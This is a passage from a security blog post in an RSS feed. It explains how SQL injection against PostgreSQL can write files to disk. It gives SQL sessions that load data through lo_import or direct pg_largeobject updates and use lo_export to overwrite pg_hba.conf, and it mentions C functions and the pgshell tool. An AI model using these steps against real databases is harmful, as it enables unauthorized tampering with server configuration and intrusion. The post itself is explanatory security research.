<p>It has provided support for BLOB, also called Large Objects, since version 4.2. From version 7.2 organized the three large object interfaces such that all large objects are now placed in the system table pg_largeobject.</p>
<p>According to the Database Data Type Comparison Sheet[3] there are two data types used by PostgreSQL to store BLOB:</p>
<p>• BYTEA: used to store small amount of binary data that are stored in the data table</p>
<p>• OID: used to store very large amount of binary data in form of file in the filesystem</p>
<h2>4.1 BLOB functions abusing</h2>
<p>The file is loaded into the database using lo_import(), and is retrieved from the database using lo_export(). These functions take a path as argument that is the path of file to load or the path where export the data in the BLOB field.</p>
<p>In detail[2] to export a large object into an operating system file, call the lo_export() function, with argument that specifies the operating system name of the file.</p>
<p>Note that the file is written by the client interface library, not by the server. Returns 1 on success, -1 on failure.</p>
<p>Reading PostgreSQL documentation in the BLOB section[1] there is the following:</p>
<pre>Files are imported and exported by the postgres user, so postgres must have
permission to read the file for lo_import() and directory write permission for
lo_export().</pre>
<p>So this function can write a file to disk and abusing it we can overwrite the PostgreSQL configuration files.</p>
<p>First of all we need to create a temporary table (if your user have right permissions) to store our evil data:</p>
<pre>postgres=# CREATE TABLE foo (
postgres(# bar oid,
postgres(# id int4,
postgres(# CONSTRAINT id PRIMARY KEY (id) ) WITHOUT OIDS;
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "id" for table "foo"
CREATE TABLE</pre>
<p>The easiest way to load a file is using lo_import() that imports a file from the local file system but if you want to use this you must have a way to store a file on target system.</p>
<pre>postgres=# INSERT INTO foo VALUES (lo_import('/tmp/bar.bin'), 1);
INSERT 0 1</pre>
<p>Now you can try to abuse of lo_export() to overwrite a PostgreSQL configuration file.</p>
<p>If the web application connects to PostgreSQL using a user with superuser permission you can overwrite any configuration file owned by postgres, here we overwrite pg_hba.conf:</p>
<pre>postgres=# SELECT lo_export(bar, '/etc/postgresql/8.3/main/pg_hba.conf') FROM
postgres+# foo WHERE id=1;
lo_export
-----------
1
(1 row)</pre>
<p>If the web application runs as a non-superuser user you can get the following error message:</p>
<pre>Query failed: ERROR: must be superuser to use server-side lo_export() HINT:
Anyone can use the client-side lo_export() provided by libpq.</pre>
<p>If you are exploiting a SQL injection you can&#8217;t use lo_import() because it needs to write files in the local system the pg_largeobject table can be queried and updated directly, it&#8217;s &#8220;data&#8221; column is the equivalent to the BLOB data type found in other DBMS and is of type BYTEA.</p>
<p>Remember that when writing BYTEA data all non printable characters must be represented in octal syntax like 00 and the \ must be escaped if you use it inside a string.</p>
<p>For example 00 becomes 0 inside a string.</p>
<p>A trick is to transfer data encoded in hex or base64 and then decode it in the database, but remember that this cause an overhead, for example of 34% of the file size using base64.</p>
<p>Using direct access to pg_largeobject we can transfer an arbitrary file and then exporting it via lo_export().</p>
<p>First of all you must create a new entry in pg_largeobject.</p>
<pre>postgres=# SELECT lo_create(-1);
lo_create
----------
24586
(1 row)</pre>
<p>And now load your file encoded in base64 (also hex encoding can be used).</p>
<pre>postgres=# UPDATE pg_largeobject SET data = (DECODE('YW50YW5p', 'base64'))
postgres+# WHERE LOID = 24586;
UPDATE 1</pre>
<p>Your file is loaded in the target DBMS, now you can write it to disk using lo_export().</p>
<pre>postgres=# SELECT lo_export(24586, '/etc/postgresql/8.3/main/pg_hba.conf');
lo_export
-----------
1
(1 row)</pre>
<h2>5. User defined functions</h2>
<p>The PostgreSQL functionalities can be extended user-defined functions, data types, triggers, etc[6] written in C or other languages.</p>
<p>By default only superuser can create new functions using language C.</p>
<h2>5.1 User defined functions abusing</h2>
<p>Using a user-defined function is possible to define function to open, create and write files.</p>
<p>The code is not too short and described by Nico Leidecker[5] and also is the author of pgshell[7], a tool to automatize the exploitation process.</p>
<h2>6. Conclusions</h2>
<p>Exploiting a SQL injection to write files in to the attacked system disk can be done in three ways but as you can see in the following comparison table you can do it only if the database user is a superuser.</p>
<pre>+-------------------------------+-------------+------+
|                               | Super user  | User |
+-------------------------------+-------------+------+
+-------------------------------+-------------+------+
|    Write files with COPY      |    YES      |  NO  |
+-------------------------------+-------------+------+
| Write files with lo_export()  |    YES      |  NO  |
+-------------------------------+-------------+------+
|   Write file via extension    |    YES      |  NO  |
+-------------------------------+-------------+------+</pre>
<p>So in the case we aren&#8217;t superuser a privilege escalation vulnerability can be user to upload files.<br />
If you achieve the capability to upload files you can overwrite the PostgreSQL configuration files.</p>
<p><strong>7. References</strong></p>
<p>[1] <a href="http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html">http://www.postgresql.org/files/documentation/books/aw_pgsql/node96.html</a><br />
[2] <a href="http://www.postgresql.org/docs/8.3/interactive/lo-interfaces.html">http://www.postgresql.org/docs/8.3/interactive/lo-interfaces.html</a><br />
[3] <a href="http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html">http://www.lonerunners.net/1246-database-datatype-comparison-sheet.html</a><br />
[4] <a href="http://www.postgresql.org/docs/8.1/interactive/sql-copy.html">http://www.postgresql.org/docs/8.1/interactive/sql-copy.html</a><br />
[5] <a href="http://labs.portcullis.co.uk/download/Having_Fun_With_PostgreSQL.pdf">http://labs.portcullis.co.uk/download/Having_Fun_With_PostgreSQL.pdf</a><br />
[6] <a href="http://www.postgresql.org/docs/8.3/interactive/server-programming.html">http://www.postgresql.org/docs/8.3/interactive/server-programming.html</a><br />
[7] <a href="http://www.leidecker.info/projects/pgshell.shtml">http://www.leidecker.info/projects/pgshell.shtml</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
